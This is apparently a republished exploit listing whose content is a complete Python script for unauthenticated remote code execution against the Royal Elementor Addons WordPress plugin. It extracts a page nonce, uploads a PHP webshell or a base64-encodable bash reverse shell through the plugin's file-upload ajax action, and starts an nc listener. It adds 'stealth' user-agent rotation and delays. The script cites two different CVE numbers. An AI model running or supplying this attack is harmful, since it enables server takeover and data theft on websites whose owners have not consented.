Royal Elementor Addons - Unauthenticated Remote Code Execution
Royal Elementor Addons - Unauthenticated Remote Code Execution#!/usr/bin/env python3# Title Royal 2025-11-24 22:53:29 Author: cxsecurity.com(查看原文) 阅读量:9 收藏

Royal Elementor Addons - Unauthenticated Remote Code Execution

#!/usr/bin/env python3 # Title Royal Elementor Addons - Unauthenticated Remote Code Execution CVE-2023-5360 # Author @ibrahimsql https://ibrahimsql.com # Date 10/17/2025 # Vendor https://royal-elementor-addons.com/ # Reference https://nvd.nist.gov/vuln/detail/CVE-2023-5360 # https://github.com/ibrahmsql import argparse import base64 import json import random import re import requests import string import subprocess import sys import threading import time from io import BytesIO from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" ] class RoyalElementorExploit: def __init__(self, target, stealth=False, verbose=False): self.target = target.rstrip('/') self.parsed = urlparse(target) self.root = f"{self.parsed.scheme}://{self.parsed.netloc}" self.session = requests.Session() self.stealth = stealth self.verbose = verbose self.nonce = None if stealth: self.session.headers.update({'User-Agent': random.choice(USER_AGENTS)}) else: self.session.headers.update({'User-Agent': 'python-requests'}) def log(self, msg, level="info"): prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"} if level == "debug" and not self.verbose: return print(f"{prefix.get(level, '[*]')} {msg}") def verify_target(self): self.log("Verifying target vulnerability...") try: r = self.session.get(self.target, timeout=10, verify=False) if r.status_code != 200: self.log(f"Target returned HTTP {r.status_code}", "error") return False if "elementor" not in r.text.lower(): self.log("Target doesn't appear to use Elementor", "error") return False self.log("Target validated", "success") return True except Exception as e: self.log(f"Connection failed: {e}", "error") return False def extract_nonce(self): self.log("Extracting Elementor nonce...") if self.stealth: time.sleep(random.uniform(0.5, 2.0)) try: r = self.session.get(self.target, timeout=10, verify=False) match = re.search(r'WprConfig\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r.text) if not match: self.log("Failed to extract nonce", "error") return False self.nonce = match.group(1) self.log(f"Nonce extracted: {self.nonce}", "success") return True except Exception as e: self.log(f"Nonce extraction failed: {e}", "error") return False def generate_payload(self, mode, lhost=None, lport=None, encode=False): shell_name = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) if mode == "webshell": cmd_param = ''.join(random.choices(string.ascii_letters, k=6)) payload = f"<?php if(isset($_GET['{cmd_param}'])) {{system($_GET['{cmd_param}']);}} unlink(__FILE__); ?>" return payload, shell_name, cmd_param elif mode == "reverse": shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'" if encode: encoded = base64.b64encode(shell_cmd.encode()).decode() payload = f"<?php exec(base64_decode('{encoded}')); unlink(__FILE__); ?>" else: payload = f"<?php exec(\"{shell_cmd}\"); unlink(__FILE__); ?>" return payload, shell_name, None return None, None, None def upload_payload(self, payload, shell_name, retries=3): self.log(f"Uploading payload (retries: {retries})...") for attempt in range(1, retries + 1): self.log(f"Attempt {attempt}/{retries}", "debug") if self.stealth and attempt > 1: time.sleep(random.uniform(1.0, 3.0)) data = { 'wpr_addons_nonce': self.nonce, 'max_file_size': 100, 'allowed_file_types': ',', 'action': 'wpr_addons_upload_file', 'triggering_event': 'click' } files = { 'uploaded_file': (f"{shell_name}.php.", BytesIO(payload.encode())) } try: r = self.session.post( f"{self.root}/wp-admin/admin-ajax.php", data=data, files=files, timeout=15, verify=False ) self.log(f"Upload response: HTTP {r.status_code}", "debug") response_data = r.json() shell_url = response_data.get('data', {}).get('url') if shell_url: self.log(f"Payload uploaded: {shell_url}", "success") return shell_url self.log(f"Upload failed: {response_data}", "debug") except Exception as e: self.log(f"Upload attempt failed: {e}", "debug") self.log("All upload attempts failed", "error") return None def trigger_shell(self, shell_url, mode): self.log("Triggering payload...") try: r = self.session.get(shell_url, timeout=5, verify=False) if mode == "reverse": self.log("Reverse shell triggered (timeout expected)", "success") else: self.log(f"Shell triggered: HTTP {r.status_code}", "success") return True except requests.exceptions.Timeout: if mode == "reverse": self.log("Reverse shell triggered (timeout is normal)", "success") return True except Exception as e: self.log(f"Trigger failed: {e}", "error") return False def exploit(self, mode, lhost=None, lport=None, encode=False, listen=False): if not self.verify_target(): return False if not self.extract_nonce(): return False payload, shell_name, cmd_param = self.generate_payload(mode, lhost, lport, encode) if not payload: self.log("Payload generation failed", "error") return False if mode == "reverse" and listen: self.log(f"Starting listener on {lhost}:{lport}...") listener_thread = threading.Thread( target=lambda: subprocess.call(['nc', '-lvnp', str(lport)]), daemon=True ) listener_thread.start() time.sleep(2) shell_url = self.upload_payload(payload, shell_name) if not shell_url: return False if mode == "webshell": self.log(f"Webshell URL: {shell_url}?{cmd_param}=<command>", "success") self.log(f"Example: {shell_url}?{cmd_param}=id", "success") return True elif mode == "reverse": self.trigger_shell(shell_url, mode) if listen: self.log("Check your listener for connection!", "success") return True def main(): parser = argparse.ArgumentParser( description="Royal Elementor Addons CVE-2025-34299 Exploit (CVSS 9.8)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py http://target.com/page --mode webshell --stealth python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --listen python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --encode --stealth """ ) parser.add_argument("target", help="Target Elementor page URL") parser.add_argument("--mode", choices=["webshell", "reverse"], default="webshell", help="Attack mode (default: webshell)") parser.add_argument("--lhost", help="Listener host (for reverse shell)") parser.add_argument("--lport", type=int, help="Listener port (for reverse shell)") parser.add_argument("--listen", action="store_true", help="Start built-in listener (nc)") parser.add_argument("--encode", action="store_true", help="Base64 encode payload") parser.add_argument("--stealth", action="store_true", help="Enable stealth mode (random UA + delays)") parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") args = parser.parse_args() if args.mode == "reverse" and (not args.lhost or not args.lport): parser.error("--lhost and --lport required for reverse shell mode") print(f"[*] Royal Elementor Addons Exploit (CVE-2025-34299)") print(f"[*] CVSS Score: 9.8 CRITICAL | CWE-434: Unrestricted File Upload") print(f"[*] Target: {args.target}") print(f"[*] Mode: {args.mode.upper()}") if args.stealth: print(f"[*] Stealth: ENABLED") print() exploit = RoyalElementorExploit(args.target, stealth=args.stealth, verbose=args.verbose) success = exploit.exploit( mode=args.mode, lhost=args.lhost, lport=args.lport, encode=args.encode, listen=args.listen ) sys.exit(0 if success else 1) if __name__ == "__main__": main()



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2025110016
如有侵权请联系:admin#unsafe.sh